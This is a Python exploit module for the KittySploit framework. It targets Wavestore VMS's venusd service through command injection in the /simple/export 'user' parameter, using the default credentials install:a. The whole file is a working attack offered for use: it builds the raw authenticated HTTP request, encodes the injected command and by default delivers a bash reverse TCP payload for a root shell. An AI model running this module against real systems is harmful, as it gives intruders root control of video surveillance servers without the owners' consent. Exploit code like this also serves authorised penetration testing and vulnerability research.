Wavestore VMS venusd /simple/export command injection RCE

"""Wavestore VMS venusd /simple/export command injection (root)."""
from __future__ import annotations
import base64
import re
import socket
import ssl
from kittysploit import *
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client):
    __info__ = {'name': 'Wavestore VMS venusd /simple/export command injection RCE', 'description': 'Authenticated venusd /simple/export user=install$(cmd) runs as root via command substitution (default creds install:a on port 8443 plain HTTP).', 'author': ['KittySploit Team'], 'platform': Platform.LINUX, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/unix/bash_reverse_tcp', 'platform': Platform.UNIX, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['wavestore', 'rce', 'authenticated', 'venusd'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 2, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/wavestore_simple_export_root_rce_detect']}}}
    port = OptPort(8443, 'venusd HTTP port (often 8443, plain HTTP)', required=True)
    ssl = OptBool(False, 'Use TLS for venusd (PoC uses plain HTTP on 8443)', required=False)
    venus_user = OptString('install', 'venusd Basic auth user', required=False)
    venus_pass = OptString('a', 'venusd Basic auth password', required=False)

    def _http_raw_get(self, host: str, port: int, path: str, auth_header: str, use_tls: bool=False, timeout: int=15) -> bytes:
        sock = socket.create_connection((host, port), timeout=timeout)
        if use_tls:
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            sock = ctx.wrap_socket(sock, server_hostname=host)
        req = f'GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\nAuthorization: {auth_header}\r\nConnection: close\r\nUser-Agent: kitty-wavestore/1.0\r\n\r\n'
        sock.sendall(req.encode('latin-1'))
        chunks = []
        try:
            while True:
                data = sock.recv(4096)
                if not data:
                    break
                chunks.append(data)
        except socket.timeout:
            pass
        sock.close()
        return b''.join(chunks)

    def _build_export_path(self, cmd: str) -> str:
        cmd_encoded = cmd.replace(' ', '+').replace('>', '%3E').replace('<', '%3C').replace(';', '%3B').replace('&', '%26').replace('|', '%7C').replace('`', '%60').replace('$', '%24')
        return '/simple/export?user=install%24(' + cmd_encoded + ')'

    def _auth_header(self) -> str:
        user = str(self.venus_user or 'install')
        passwd = str(self.venus_pass or 'a')
        token = base64.b64encode(f'{user}:{passwd}'.encode()).decode()
        return 'Basic ' + token

    def _host(self) -> str:
        return str(getattr(self, 'target', None) or getattr(self, 'rhost', None) or '').strip()

    def execute(self, cmd: str) -> str:
        host = self._host()
        if not host:
            return 'no target host'
        port = int(self.port or 8443)
        path = self._build_export_path(cmd)
        try:
            resp = self._http_raw_get(host, port, path, self._auth_header(), use_tls=bool(self.ssl))
        except OSError as exc:
            return f'connection failed: {exc}'
        if not resp:
            return 'empty response'
        status_line = resp.split(b'\r\n', 1)[0].decode('latin-1', 'replace')
        if '401' in status_line:
            return '401 Unauthorized — check venusd credentials'
        return f'venusd injection sent ({status_line}); command may be blind'

    def check(self):
        host = self._host()
        if not host:
            return {'vulnerable': False, 'reason': 'No target', 'confidence': 'low'}
        port = int(self.port or 8443)
        try:
            resp = self._http_raw_get(host, port, '/simple/export', self._auth_header(), use_tls=bool(self.ssl), timeout=8)
            line = resp.split(b'\r\n', 1)[0].decode('latin-1', 'replace') if resp else ''
            if '401' in line:
                return {'vulnerable': True, 'reason': 'venusd reachable but credentials rejected', 'confidence': 'medium'}
            if resp:
                return {'vulnerable': True, 'reason': 'venusd /simple/export responded', 'confidence': 'medium'}
        except OSError:
            pass
        return {'vulnerable': False, 'reason': 'venusd not reachable on configured port', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('venusd /simple/export command substitution')
        msg = self.execute(shell)
        print_info(msg)
        if '401' in msg:
            print_error('Authentication failed')
            self.not_vulnerable()
            return False
        blind = bool(re.search('reverse|bash|/dev/tcp|nc ', shell, re.I))
        self.vulnerable()
        if blind or 'injection sent' in msg:
            print_warning('Output is not echoed in HTTP response; verify out-of-band or use reverse payload')
            if str(self.shell_from_payload() or '').strip():
                return True
            return True
        return True